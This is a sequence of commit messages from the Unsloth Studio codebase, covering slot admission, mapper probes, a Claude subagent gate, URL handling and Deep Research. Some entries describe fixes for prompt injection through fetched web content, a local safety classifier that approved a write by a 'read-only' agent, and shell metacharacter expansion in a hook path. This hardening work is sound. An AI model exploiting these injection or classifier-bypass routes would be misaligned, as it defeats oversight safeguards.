tsc -b clean. Backend CI command green apart from two failures reproduced only
on this box (a real model-dir scan and an orphan-process cleanup), neither
touched by this PR; staging CI is the gate for those.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Keep the newer-mapper probe alive when the fetched mapper has no fp8 tables
_get_new_mapper reads the two fp8 tables out of the fetched mapper.py under
that file's own names, unlike the three NEW_ names it renames itself. A
mapper.py that does not define them raises KeyError, the bare except swallows
it, and the function returns five empty dicts, so the 4bit and 16bit upgrade
check stops firing as well. That check is the reason the probe exists.
Every mapper.py older than the fp8 tables is such a file: fetching the
2025-11-07 one leaves the probe with [0, 0, 0, 0, 0] instead of
[400, 997, 591]. Reading the two names with .get keeps the 4bit half working
and empties only the fp8 half, which costs nothing, since the probe runs only
after the installed tables have already missed.
Add a regression test that also pins the fetched-only fp8 upgrade error, which
the existing test cannot catch: it serves the repo's own mapper.py as both the
installed and the fetched source, so any fresh dict satisfies its identity
assertions.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Studio: admission control on /v1/messages, slot pool that tracks --parallel
/v1/chat/completions was gated by the llama admission queue but /v1/messages
was not, so an Anthropic client could oversubscribe llama-server's slots and
stall the backend. Wire the same queue into all six /v1/messages dispatch
sites, and rework the queue itself into an explicit slot pool.
- Queue keyed by base_url, so both API surfaces share one pool of slots.
- Waiting is unbounded by default instead of timing out; the wait line is
sized at 16 x the serving slots so it follows --parallel.
- Neutral UNSLOTH_LLAMA_ADMISSION_* env names, legacy UNSLOTH_OPENAI_COMPAT_*
spellings still honored.
- Passthrough retries once against a respawned llama-server, which comes back
on a new ephemeral port.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix over-admission on capacity shrink and restore the stream cancel contract
Review of the previous commit turned up two real regressions plus smaller gaps.
- Pool sizing looked only at free slot ids, so when capacity shrank while slots
were held (an unload resets effective_parallel_slots to 1) a freed low id was
handed out even though the holdovers already met the new ceiling. Count every
held slot against capacity instead. A 1-slot backend could run 4 generations.
- The streaming wrapper closed the monitored body with aclose(), delivering
GeneratorExit where _SameTaskStreamingResponse deliberately throws
CancelledError. The monitor entry was never finalized, so it leaked as
"running" for the process lifetime and cancel_event was never set. Close
through the shared helper so cancellation reaches the handler.
- Finalize the monitor when a stream is abandoned before its body starts, and
when a queued non-streaming request is cancelled (which also leaked the
un-awaited generation coroutine).
- Floor the scaled wait line at 64, so a 1-slot backend keeps the depth it had
before scaling existed instead of dropping from 64 to 16.
- Use the canonical Anthropic type map: a full queue is 429 rate_limit_error,
which SDKs back off on; overloaded_error is 529.
- Treat non-positive max_queue/queue_per_slot as unbounded rather than "reject
everything", and reclaim the slot if a waiter's event loop is gone.
Tests: regression tests for both defects, verified to fail without the fix.
Adds env coverage for QUEUE_PER_SLOT and the legacy fallbacks, a structural
check that all six dispatch sites stay admission-wrapped, and clears the new
env var in the isolation fixtures.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Run the response pre-start cleanup when a queued stream is abandoned
From automated review of the earlier commits.
_anthropic_passthrough_stream enters its _TrackedCancel eagerly and relies on
the stream's finally to exit it, but aclose() on an async generator that never
started is a no-op, so that finally never runs. Admission made this reachable:
a client that disconnects while queued leaves the cancel id registered in
_CANCEL_REGISTRY forever.
- Give the passthrough response an unstarted_cleanup hook that exits the
tracker, via a new optional arg on _sse_streaming_response.
- Chain to that hook from the admission wrapper rather than replacing it, and
run it when the wrapper gives up before the body started.
- Defer to an in-progress MTP fallback instead of respawning underneath it;
only the first caller gets True from _maybe_recover_from_mtp_crash.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Restore Python 3.9 support, and stop the floor overriding an explicit setting
Second review round. The first item is a real break shipped by the earlier
commits, the rest are correctness and contract fixes.
- dataclass(slots = True) and int.bit_count() are both 3.10+, but the package
declares requires-python >=3.9 and CI only runs 3.12, so nothing caught it.
Importing the module raised TypeError on 3.9, taking down the whole backend,
not just admission. Drop the dataclass slots and track the popcount in a
counter. A test now asserts neither API comes back.
- The queue-depth floor applied even when an operator set QUEUE_PER_SLOT
explicitly, so asking for a shallow line silently got 64 and, with no queue
timeout, callers blocked instead of failing fast. The floor now only backs
the default multiplier.
- Never let a failing close strand a slot: closing runs in its own try so the
release always happens. A lost slot shrinks the pool permanently.
- Close the generation coroutine when reserving fails for any reason, not only
on a full queue.
- Exit the passthrough cancel tracker if the client drops while the opening SSE
lines are still being sent; those yields sit outside the teardown try.
- snapshot.free now reports what a caller could actually take, so the admission
log cannot show free slots next to queued requests after a shrink.
- Correct the class docstring: the wait line is bounded by default, not
unlimited. Document that abandoning wait() requires cancel(), and pin the
thread assumption in _deliver_lease.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Make the leak guards real, and cover the untested admission branches
Third review round, which attacked the previous round's tests by reverting each
fix. Two guards turned out to be hollow.
- The pre-start cleanup chain could be severed with the suite still green: the
existing test drove the generator finally, never the response hook. A real
pre-start disconnect leaked the passthrough cancel tracker permanently.
Replaced with a test that runs the response hook and asserts _CANCEL_REGISTRY
is empty; verified against both ways of reintroducing the leak.
- The structural check only asserted the unstarted_cleanup keyword was present,
so passing a literal None passed it while leaking. It now asserts the hook is
actually built.
- test_shares_queue_with_openai_by_base_url never touched the OpenAI helper; it
was a duplicate under a misleading name. It now reserves through the same
helper /v1/chat/completions uses, so it fails if either surface ever derives a
different key. That is the PR's central shared-queue claim.
- Cover the passthrough dispatch site, 499 on disconnect-while-queued, and the
streaming admission timeout. Four of six sites previously had only an AST
node count behind them.
- Clear admission env in the autouse fixture rather than per test: an ambient
canonical name silently beat the legacy name a test was exercising.
- Loosen the wall-clock assertion, which guarded against serialising on the
uncontended path, not against a slow runner.
- The class docstring claimed a global concurrency cap; Studio's own chat
endpoint does not reserve, so it is not one.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Keep dataclass slots on 3.10+ via a version gate
Dropping slots = True for 3.9 gave it up everywhere, including the 3.12 CI runs
and every supported interpreter but one. Gate it instead: _SLOTS is
{"slots": True} on 3.10+ and empty below, unpacked into each dataclass.
The AST scan now requires the unpack rather than merely forbidding a literal
slots keyword, so a dataclass added later cannot quietly lose slots. Added a
test that the gate matches the running interpreter, since a gate that never
applies is worse than no gate. Verified the 3.9 branch by forcing _SLOTS empty
and reloading: the full admission suite passes either way.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix two slot leaks, and cover the guards that had no test
Third review round, three reviewers working independently on the admission core,
the route wiring, and whether the PR regresses anything it is not about.
Leaks:
- cancel() made the same call_soon_threadsafe as _grant_waiters_locked but
without its RuntimeError guard. Routes cancel from finally blocks, so a closed
loop masked their exception and skipped the release, stranding the slot and
pinning is_idle() false so the queue was never evicted either.
- The pre-start cleanup released the slot after an await that can raise
BaseException, which is swallowed upstream. Nested it in a finally, as the
streaming and OpenAI paths already do.
An unparseable QUEUE_PER_SLOT dropped the 64 floor while falling back to the
default multiplier, quietly giving a 1-slot backend a 16-deep line. Explicit now
means it parsed.
Guards that were correct but had no test. Each was reverted, confirmed the suite
stayed green, then covered and confirmed red:
- the slot released when stream setup raises, which is the reachable one:
count_chat_tokens is a blocking call to llama-server, so a dead backend raises
after the slot is taken and before a body exists to release it
- coro.close() on a cancelled queued request, the api_monitor.fail that
distinguishes an admission timeout from a client hang-up, the MTP fallback
short-circuit, and the BaseException guard around the opening stream lines
- the queue-full test asserted a type string OpenAI's 429 also uses, so it
passed against an OpenAI envelope. It now pins the Anthropic shape.
Anthropic requests were invisible in the admission log while sharing the pool
with chat completions, so the same events are logged there with a mode. Renamed
the helper to match, since it is no longer OpenAI-only.
Corrected two comments that described behaviour the code does not have: the
slot is taken when the streaming response is built, not when the body starts
iterating, and the pool is not a cap on every generation, since /v1/completions,
Studio's chat endpoint and RAG captioning all reach llama-server directly.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Cover the admission telemetry, and drop a dead helper
Fourth review round. No bugs found in the code this time; the finding was that
most of the previous commit's telemetry had no test. Only queue-full was
asserted, so removing any of the other four log calls left the suite green.
All five are covered now, each verified by removing its call and confirming only
its own test reds. Fixing the first attempt turned up a test bug of my own: the
log line carries a queued=N field, so asserting "queued" in the message matched
every admission log ever emitted. It asserts the event name now.
Also covered two guards that were correct but unguarded: waiters whose futures
die out of band stop counting against the queue depth, and a newcomer cannot
barge past a parked waiter. The second is pinned as behaviour rather than as the
`if not self._waiters` check, because that check cannot actually change the
outcome: _take_slot_locked consults _can_admit_locked anyway, so either alone
refuses the newcomer. The test fails only if both go.
_optional_positive_int_env lost its last caller when the env parsing was
rewritten last round. Removed.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Keep the newer-mapper probe from replacing the installed FP8 mappers
get_model_name calls _get_new_mapper() whenever a name misses the local
tables, only to answer whether a newer Unsloth would support it. That
helper fetches mapper.py from main, prefixes INT_TO_FLOAT_MAPPER,
FLOAT_TO_INT_MAPPER and MAP_TO_UNSLOTH_16bit with NEW_, and execs the
result into globals().
The slice starts at __INT_TO_FLOAT_MAPPER, so it also carries
FLOAT_TO_FP8_BLOCK_MAPPER, FLOAT_TO_FP8_ROW_MAPPER, the _add_* helpers
and the builder's loop variables, and none of those are renamed.
Exec'ing into globals() therefore rebinds the two FP8 tables that
loader_utils imported from the installed mapper, so every later
get_model_name(..., load_in_fp8 = ...) in the process resolves through
main's table instead of the installed one. The probe deliberately does
not adopt the new 4bit mappers (it raises NotImplementedError asking the
user to upgrade), so silently adopting the new FP8 ones is inconsistent,
and it also leaves loader_utils and mapper disagreeing about the same
tables. Reaching it needs nothing unusual: any org/model name absent
from the tables triggers the fetch.
Exec into a throwaway namespace and read the three mappers out of it, so
the probe stays a read and the installed mappings are left alone.
Signed-off-by: Vineeth Sai <vineethsai4444@gmail.com>
* Hand the fetched FP8 tables back from the probe instead of dropping them
Isolating the exec stopped the probe corrupting the installed FP8 tables, but
it also removed the only reason the probe ever saw the fetched ones: the
_resolve_with_mappers call still read FLOAT_TO_FP8_BLOCK_MAPPER and
FLOAT_TO_FP8_ROW_MAPPER off the module globals. A newly added FP8 repo would
then miss both the installed tables and the probe, so an older install would
stop raising the upgrade NotImplementedError for it.
Return the two fetched tables and let _resolve_with_mappers take them as
optional arguments, defaulting to the installed ones. The probe now answers
for new FP8 repos without writing over what the installed version resolves.
_get_new_mapper returns five tables now, so the two existing stubs in
test_get_model_name.py and test_bad_mappings_redirect.py are updated to match.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Signed-off-by: Vineeth Sai <vineethsai4444@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* unsloth start: keep the local subagent unattended and out of plan mode
The local subagent child could stall waiting on a permission prompt, and a
parent session in plan mode could still reach the editing agent.
- Drop human-blocking tools from the child so it runs unattended. The
read-only child also drops the file writers.
- Emit a PreToolUse hook that reads permission_mode itself and denies the
editing agent under plan mode, so routing holds when the model ignores
SKILL.md. Fails open, and is skipped under the WSL bridge where a Windows
interpreter path is not runnable in the distro.
* Make the read-only subagent actually read-only, and drop stale WSL gates
From the first review of this branch, which drove the real code against a fake
HOME holding a pre-existing Claude install and diffed the tree before and after.
No config, agent, MCP server or CLAUDE.md of the user's was touched in either
arm, and the session dir is removed on exit, Ctrl-C and exception.
Three real findings came out of it:
- The read-only child could still write. Plan mode routes Bash through a safety
classifier served by the same local model, so a small model saying yes is what
authorised the write; a child spawned with read_only created a file. Denying
Bash there makes the label true, at the cost of shell exploration while
planning. Read, Grep and Glob still cover the search it needs.
- A persisted plugin dir kept a plan_gate.py from an earlier Windows run, so a
later WSL run shipped a hooks.json naming an interpreter the distro cannot
execute. Hook errors do not block, so this only ever wasted a spawn, but it
accumulated and the branch had no test.
- The comment claimed the read-only child keeps ExitPlanMode "as Claude does
under plan mode". A --print child is never offered the plan or prompt tools at
all, so most of both deny lists is inert today. Kept as a guard against a
version that starts offering them, but the comment now says so.
Also covers "auto" in the gate's non-plan modes, which is a real permission_mode
and the one the child's own Bash classifier runs under.
* Stop the gate failing closed, and bound a wedged child
Second review of this branch, driving real claude 2.1.219 against a mock
endpoint rather than reading.
The gate could fail closed. If plan_gate.py went missing the interpreter exited
2, which Claude treats as a blocking hook error, so the editing tool was denied
in every mode rather than just plan. Running the script through runpy instead of
handing its path to the interpreter turns that into an ordinary traceback, which
is exit 1 and allows. Verified both exit codes directly.
The hook also had no timeout, so a hung one stalled the parent for as long as it
hung, measured past 400s. Bounded at 10s.
The real stall this branch is named for was untouched: run_local_agent polled
communicate() forever, so a local server that accepts and never answers left the
child and the parent blocked indefinitely, measured past 400s. Added a wall-clock
deadline that kills the child and says the server looks wedged.
UNSLOTH_CLAUDE_SUBAGENT_TIMEOUT overrides it, 0 restores the old behaviour.
Also corrected the plan-mode comment. Claude already refuses the editing tool in
plan mode on its own, since it advertises readOnlyHint false; what the hook adds
is a reason naming the read-only tool to call instead. The WSL comment had the
direction backwards: the gate is the Linux path, not the Windows one.
Tests: the hook command's quoting and its behaviour with the gate deleted, both
previously unguarded, plus the timeout and its env override.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Keep the gate path out of the shell string
Codex review. The hook command is run by a shell, and the gate path was
interpolated into it, so a session-config root containing shell metacharacters
expanded before Python saw it. Verified on both: sh expands $(..), backticks and
$VAR; cmd expands %VAR%. In every case the path no longer resolves, the gate
exits 1, and because that intentionally fails open the routing message silently
stops appearing.
The path now travels as base64, whose alphabet has no metacharacter in either
shell. Parametrised over all four hostile forms, and the old interpolation makes
those tests fail.
One correction to the report: it says the editing agent becomes callable in plan
mode. It does not. Claude refuses that tool by itself, since it advertises
readOnlyHint false, which was checked earlier by deleting the hook entirely.
What a mangled path costs is the reason naming the read-only agent to call
instead, not the block.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
* tests: record the gfx1152 llama.cpp bundle gap so the next one is not silent
#7431 made gfx1152 (Krackan Point, Radeon 860M/840M) a first-class arch, which
fixed torch wheel selection: those laptops were pulling gfx1150 wheels built for
a different LLVM target. It also changed llama.cpp prebuilt selection, because
no gfx1152 bundle is published. published_rocm_choice_for_host deliberately
refuses to serve a sibling-family bundle, so those hosts now fall back to a HIP
source build.
That is the right outcome, a wrong-ISA binary fails at the first BLAS call
rather than merely installing slowly, but nothing recorded it and nothing would
have caught it. TestPublishedRocmGfxSelection builds its release from a
hardcoded family list, so it can only assert about arches someone already
thought to add.
Adds TestPublishedRocmBundleCoverage:
- PUBLISHED mirrors the mapped_targets in llama-prebuilt-manifest.json.
- KNOWN_GAPS lists arches _GFX_TO_AMD_INDEX_ARCH routes torch for that no bundle
covers: gfx1033/1035/1036 (RDNA 2, never built) and gfx1152.
- test_known_gaps_fall_back_to_source_build pins each to None.
- test_every_torch_routed_arch_is_covered_or_a_known_gap compares the routed set
against bundle coverage, so adding an arch for torch without a bundle has to
be a deliberate KNOWN_GAPS entry.
The invariant fires both ways. Simulating a new routed arch fails with
"coverage drifted: ['gfx1153'] newly uncovered"; simulating a published gfx1152
bundle fails with "gfx1152 is in KNOWN_GAPS but a bundle now matches it; drop it
from the set", so closing the gap cannot leave the list stale.
Reads _GFX_TO_AMD_INDEX_ARCH from source instead of importing
install_python_stack, which this suite does not otherwise depend on.
No production code changes. Install suite 1355 passed, no new failures.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* fetch bare hostnames as https instead of refusing them
* normalize host:port URLs and route schemeless github repos to the readme API
* only rewrite dotted host:port URLs with in-range ports
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* reject relative paths and oversized ports in url normalization
* Match web-fetch ports as ASCII digits so a unicode digit cannot raise
str.isdigit() is True for digit-class characters int() refuses (superscript
two, circled digit one), so _normalize_url_scheme reached int(port) and raised
ValueError out of _fetch_url_raw, which runs before its try block. A
web_search url of "example.com:<superscript two>" surfaced a generic tool
exception instead of the Blocked: message it returned before this branch.
Match the port against an anchored [0-9]{1,5} instead; the five-digit cap that
kept the range check from converting an unbounded integer is now in the
pattern.
* Apply the invalid-port guard to redirect targets too
_fetch_url_raw wraps the initial parsed.port in try/except ValueError, but the
redirect hop reads rp.port unguarded, so a server answering
Location: https://example.org:99999/next fell through to the broad handler as
"Failed to fetch URL: Port out of range 0-65535" rather than a deliberate
block. No request is dispatched either way; this just makes the two paths
report the same way.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Keep the redirect-port test compact
The formatter expands a signature carrying a spaced kwarg default, which put
the stub opener on eleven lines. **kw absorbs the timeout the fetch loop
passes and leaves the whole stub on four.
* Never let a malformed URL escape _fetch_url_raw as an exception
The URL is model-supplied, so every bad form should come back as one of the
documented (error, body, content_type) strings. Three gaps remained:
urlparse itself raises on an unmatched IPv6 bracket and on a netloc that
NFKC-decomposes into a delimiter (//exam(fullwidth-solidus)ple.com), and both
calls sat outside a guard. getaddrinfo raises UnicodeError, which is a
ValueError and not the OSError _validate_and_resolve_host catches, when IDNA
encoding rejects a hostname.
Over a 3158 URL corpus that injects tabs, newlines, C0 controls, delimiters and
NFKC confusables at every position, main raises 42 times and this raises none.
Also strip surrounding whitespace in _normalize_url_scheme. _web_search already
stripped, but normalization moved down to the fetch layer, so a direct
_fetch_page_text caller did not get it.
* Name the host in the status badge and tool card for bare URLs
status_for_tool and the web-search tool card both required an explicit scheme
before reading the hostname, so every URL this branch newly makes fetchable
showed the generic "Reading page..." and "Read page" instead of the host.
Under permission_mode=ask that means the approval card named no destination for
exactly the inputs the branch enables.
The backend reuses _normalize_url_scheme. The frontend cannot, since new URL()
throws on a bare host, so RE_BARE_HOST mirrors the same grammar: only a dotted
host with an optional in-range port gets the https prefix, leaving /login,
javascript: and userinfo forms to render generically as before.
Also mention bare hostnames in the url parameter description, since they are
part of the accepted interface now.
* Do not let a malformed URL in the status badge kill the tool turn
status_for_tool runs inside prepare_call, before the fetch and outside the
handler that wraps tool execution, so a ValueError from urlparse ends the whole
turn instead of letting _fetch_url_raw return its blocked message.
_normalize_url_scheme catches its own parse error and hands back the original
string, so the parse here still has to be guarded.
Reachable with https://[::1 or a host that NFKC-decomposes into a delimiter.
This predates the branch, main raises identically, but the badge is one of the
lines this branch touches and the rest of it already promises no malformed URL
escapes as an exception.
* Tighten the comments added by this branch
* Revert the web_search url description change
The premise of this branch is that models already emit bare hostnames
unprompted, which is why the fetch layer had to stop refusing them. Advertising
the bare form in the tool schema does not enable anything, it just steers models
toward it, and that is the form carrying every edge case: ambiguous with dotted
custom schemes, and unlike an explicit scheme it does not cover IPv6 literals,
IDN or trailing-dot FQDNs.
The fetch layer tolerates bare hosts. The schema should keep recommending a
full URL. This also drops the one change here with no regression test.
* Match the backend port rule in the tool card host
The card's bare-host pattern required at least one digit after the colon, but
the backend fetches an empty port (example.com: and example.com:/path go to the
default HTTPS port), so a successful fetch rendered as "Read page" with no
host.
Allowing an empty port alone would have swung it the other way: example.com:0
is refused by the backend but new URL() accepts it, so the card would have named
a host that is never fetched. That mismatch was there before this change too.
Mirror the backend rule instead, an empty port or one in 1-65535, checked
against every case in the normalizer's own matrix.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
* Remove the no-op rmtree guard around the GGUF save
patch_unsloth_gguf_save saves shutil.rmtree and restores it, but never
replaces it, so the context manager does nothing. Its comment claims it
prevents deletion of the directory save_pretrained just created.
It reads as a copy of the patch_unsloth_save sibling above it, minus the one
line that does the work. Completing it is not the right fix though: the GGUF
call forces push_to_hub=False and the merge cleanup that would remove the save
directory is gated on push_to_hub=True, so nothing on this path calls rmtree.
That was verified on a real LoRA-backed q8_0 export with every rmtree call
logged, in the discussion on #7149.
Drop the dead context manager rather than leave code that looks like a guard
and is not. Behaviour is unchanged; the following step comments are renumbered
to stay contiguous.
* Note why no rmtree guard is needed at the GGUF call site
---------
Co-authored-by: danielhanchen <michaelhan2050@gmail.com>
* Let a decode failure degrade instead of escaping a fail-closed helper
Pinning utf-8 makes a read that used to return mojibake on Windows raise
instead. 33 of those reads sit under a handler catching OSError or
json.JSONDecodeError but not UnicodeDecodeError, which subclasses
ValueError, so a corrupt file would now escape a helper written to return
a default. Adds UnicodeDecodeError to those tuples only.
* Treat an undecodable install lock as stale instead of retrying forever
* Pin utf-8 on shipping-code text I/O instead of the operator locale
113 read_text/write_text/open call sites across unsloth, studio and
unsloth_cli let locale.getencoding() decide the encoding. That is utf-8 on
the Linux and macOS runners and cp1252 on a stock Windows install, so the
same file decodes differently for a Windows user and silently produces
mojibake or raises UnicodeDecodeError.
Adds tests/test_runtime_text_encoding.py to keep it that way. It resolves
openers through each file's own imports rather than a fixed list of module
names, so an aliased tarfile.open or a local from PIL.Image import open is
not asked for an encoding it does not take.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Scan tracked files only and resolve the unbound Path calling forms
* Honour PEP 263 when scanning sources and migrate a legacy JSONL before appending
* Scope guard imports lexically and only migrate a legacy file when it round-trips
* Leave a legacy JSONL untouched and resolve path aliases in the foreign-opener check
* Tighten comments
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Both tests remove asyncio.timeout to exercise the fallback path in
_wall_clock_timeout. On Python 3.10 that attribute does not exist in the
first place, so monkeypatch.delattr raises AttributeError and Backend CI
fails on its 3.10 leg. raising=False keeps the intent, the attribute is
absent either way.
* Studio: make the startup public-IP lookup opt-in (#7307 P8)
Startup resolved the machine's external IP by asking ifconfig.me whenever
Studio bound to 0.0.0.0 or ::. That tells whoever runs that service this
host is running Unsloth, which the user never agreed to.
The lookup is now gated behind UNSLOTH_STUDIO_PUBLIC_IP_PROBE, off by
default, and logs plainly what it sends and where when enabled. Only
1/true/yes/on enable it, so a typo leaves the private default in place.
The other two steps stay unconditional because neither discloses
anything: the GCE metadata server is link-local, and the UDP connect only
asks the kernel which local address routes to 8.8.8.8 without putting a
packet on the wire. Disabling the probe therefore still yields a usable
LAN address for the access banner.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: gate the check-host.net reachability probe too, and keep the cloud address
Problem 8 of #7307 is the check-host.net probe in _verify_global_reachability: it hands this machine's address and port to a third party and asks its nodes to connect back. That was still unconditional, so on GCE and on any host whose routing address is already public the reported behaviour was unchanged. It is now behind the same UNSLOTH_STUDIO_PUBLIC_IP_PROBE opt-in.
A private interface address is not proof the port is unreachable, since a NAT or cloud firewall can forward it. The private-address path no longer sets _public_reachable = False, so the banner keeps its warning instead of claiming local network only.
To stop the privacy default from costing cloud users their shareable address, step 1 now reads AWS IMDSv2 and Azure IMDS alongside GCE on link-local 169.254.169.254.
Also drops the redundant function-local import os and documents the variable in the README remote access section.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: switch to a single UNSLOTH_STUDIO_DISABLE_PUBLIC_CHECK opt-out
Replaces the opt-in variable and the cloud metadata work from the previous commit. Both third-party startup lookups stay on by default, so nothing changes for existing users, and one variable turns both off for lab and privacy-sensitive deployments. That is the fallback the reporter offered in #7307 Problem 8, and it keeps the firewall diagnostic that the reachability check exists to provide.
The ifconfig.me lookup and the check-host.net probe are now both guarded by public_check_disabled(). Parsing matches the nearest existing switch, _trust_forwarded_for in utils/client_ip.py. The reachability guard sits after the private-address branch, which makes no network call, so a LAN user who opts out still gets the address note.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
* Studio: add durable Deep Research workflows
* Studio: preserve research integration after upstream updates
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: keep research worker compatible with Python 3.11
* Studio: address Deep Research lifecycle review
* Studio: preserve durable research recovery
* Studio: preserve research stream and context
* Studio: harden research sources and limits
* Studio: align research with shared chats
* Studio: guard durable research actions
* Studio: protect durable research turns
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: deepen durable research decisions
* Studio: protect research prompts and queries
* Studio: slim research stream deltas
* Studio: preserve research evidence and citations
* Studio: harden Deep Research (CI, prompt injection, query PII, config, citations)
- Fix backend CI: add research_runs_router to the synthetic routes stub in
test_desktop_auth so studio.backend.main imports under the health-check test.
- Escape prompt-delimiter tags in the decision and synthesis prompts so gathered
web/document content cannot close an <untrusted_...> wrapper and inject
instructions into the local planner/decision/synthesis model.
- Extend the public-query sanitizer to redact Luhn-valid payment cards, phone
numbers, non-global IPs, and labeled private identifiers before a query can
reach web search.
- Reject nested credential keys in inferenceRequest and ragScope, not just
top-level keys, when persisting a durable run config.
- Treat maxSources as one budget shared across web and document sources
(collection and resume paths) instead of per type, which allowed up to 2x the
configured cap.
- Preserve document citations whose filename contains a closing bracket by
tokenizing valid citations before stripping invalid ones.
- Persist Deep Research off when switching to an external model and when enabling
Web Fetch so a refresh cannot rehydrate a mutually-exclusive state.
- Add regression tests for the query, prompt, citation, and config hardening.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: make the research claims table migration atomic
The owner-scoped to global claims migration ran its RENAME, CREATE, INSERT and DROP in autocommit, so an interruption after CREATE left the new table empty, orphaned the rows in the legacy table, and never re-triggered. Wrap the rebuild in an explicit transaction so a crash rolls back cleanly and the migration re-runs on the next boot.
* Studio: block message edits and regeneration during an active research run
After a reload a durable research run is followed by the research store rather than an assistant-ui run, so thread.isRunning is false while research is still active. Message edit, refresh and the edit composer previously gated only on isRunning, which let a normal generation start alongside the running research run. Gate them on the active thread's research state as well.
* Studio: keep the plan review mounted through approval
Keying PlanReview on planRevision remounted it mid-approve when updateResearchPlan bumped the revision, resetting the local pending flag and re-enabling Start research while the approve was still in flight, which allowed a duplicate approve. Key on runId only.
* Studio: drop the redundant deep-research persistence change
setCheckpoint already persists Deep Research off for external models at the top of the function, so the added saveBool was a duplicate, and clearing Deep Research from setWebFetchToolsEnabled guarded a state that is not reachable (Deep Research is local-model only while the Web Fetch pill is external-provider only). Revert both to the pre-hardening version.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: harden Deep Research citations, query privacy, and message protection
Address review findings in the Deep Research backend:
- Escape an unbalanced ")" in citation destinations so a source URL cannot
close the markdown link early and inject a second link, keeping balanced
parentheses literal.
- Match raw-URL citations on whole tokens so a URL sharing another URL's
prefix is no longer partially rewritten.
- Redact non-global IPv6 addresses in public search queries, matching the
existing IPv4 handling.
- Detect credential key names after normalizing case and separators so nested
openaiApiKey, accessToken, and clientSecret values cannot be persisted.
- Reject client edits to server-managed research prompts and reports at the
storage layer; only the internal writers pass allow_research_update.
- Scope research searches to the first allowed domains instead of dropping
site scoping for large allow lists.
- Persist the same fetch evidence bound used during live synthesis so a
resumed run is not shortened.
- Scope run completion so it only replaces this run's message parts.
Add regression tests for the above.
* Studio: fix Deep Research SSE framing, source counts, and favicon privacy
- Normalize the whole SSE buffer so a CRLF split across transport chunks
still frames events.
- Count web and document sources together in the activity header so a
RAG-only run is not shown as zero sources.
- Cap the plan editor at the run's configured maxSteps instead of a
hard-coded 30.
- Add an allowRemoteIcons opt-out to the sources components and disable
third-party favicon requests for research sources so visited domains are
not leaked.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: address final Deep Research review findings
* Studio: fit Deep Research synthesis evidence to loaded context, add opt-in web grounding
Size the synthesis evidence budget to the loaded model context so the prompt is not
silently truncated on small contexts. When the evidence overflowed the window the report
degenerated (it echoed the evidence tail instead of writing); the budget now reserves tokens
for the prompt scaffolding and converts the remainder to chars, keeping the full cap when the
context is unknown.
Add opt-in web grounding for auto-read: read the top search results, ingest them into an
ephemeral RAG scope, hybrid-retrieve the passages most relevant to the question with the
existing knowledge-base retriever, and fold those chunks into the step evidence. The scope is
per call and deleted afterwards, so a user's knowledge base is never touched.
Off by default; enable with UNSLOTH_RESEARCH_AUTO_SCRAPE=1. Gated per run by
budgets["maxAutoScrape"], so runs created without it keep legacy snippet-only behavior, and
grounding is skipped when the loaded context is too small for the prompt.
Add tests for the adaptive evidence budget, scraped-text cleaning, the ephemeral web-RAG
retrieval and scope cleanup, and the auto-read evidence path.
* Studio: read Deep Research synthesis context from the inference orchestrator
Make the adaptive synthesis-evidence budget actually engage in the normal Studio
architecture. _loaded_context_length read core.inference.inference, the low-level backend that
lives in the model subprocess and stays unpopulated in the main web process where the research
supervisor runs, so it returned None and the budget silently fell back to the 32000 character
cap (leaving the report exposed to the truncation this was meant to fix). Read the inference
orchestrator instead, and the llama.cpp backend for GGUF, mirroring
